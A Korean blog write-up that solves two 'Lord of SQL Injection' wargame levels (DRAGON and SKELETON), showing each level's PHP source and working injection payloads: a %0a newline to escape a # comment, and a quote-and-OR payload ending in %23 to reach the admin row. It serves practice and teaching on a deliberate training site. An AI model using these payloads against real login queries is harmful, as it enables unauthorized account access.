반응형
반응형
반응형

DRAGON

 

문제소스

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if($result['id'== 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>
cs

 

 

쿼리에 #이 들어있어서 뒷부분이 주석처리 된다.

 

근데 #은 한 줄만 주석처리한다. 줄바꿈을 한 것은 실행이 될 것으로 생각되었다.

 

 

 

 

줄바꿈 %0a를 넣어주어 쿼리를 완성시켰다.

 

https://los.rubiya.kr/chall/dragon_51996aa769df79afbf79eb4d66dbcef6.php?pw=%0aand pw=1 or id='admin 

 

query : select id from prob_dragon where id='guest'# and pw=' and pw=1 or id='admin'


 

Hello admin

DRAGON Clear!

반응형
반응형

SKELETON

 

1
2
3
4
5
6
7
8
9
10
11
12
http://www.wechall.net
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'
== 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>
cs

 

wolfman문제와 풀이가 비슷하다.

 

https://mandu-mandu.tistory.com/303?category=772020

 

LORD OF SQL INJECTION [wolfman] 풀이

1 2 3 4 5 6 7 8 9 10 11 12 13

mandu-mandu.tistory.com

 

 

공백필터링이 없으니 공백 우회를 하지 않아도 된다. 다른 점은 쿼리문 뒤에 있는 and 1=0 인데, #으로 주석처리 해주면 된다.

 

 

query : select id from prob_skeleton where id='guest' and pw='1' or '1'='1' and id = 'admin'#' and 1=0


 

 

 

pw = 1' or '1'='1' and id = 'admin'%23

반응형

+ Recent posts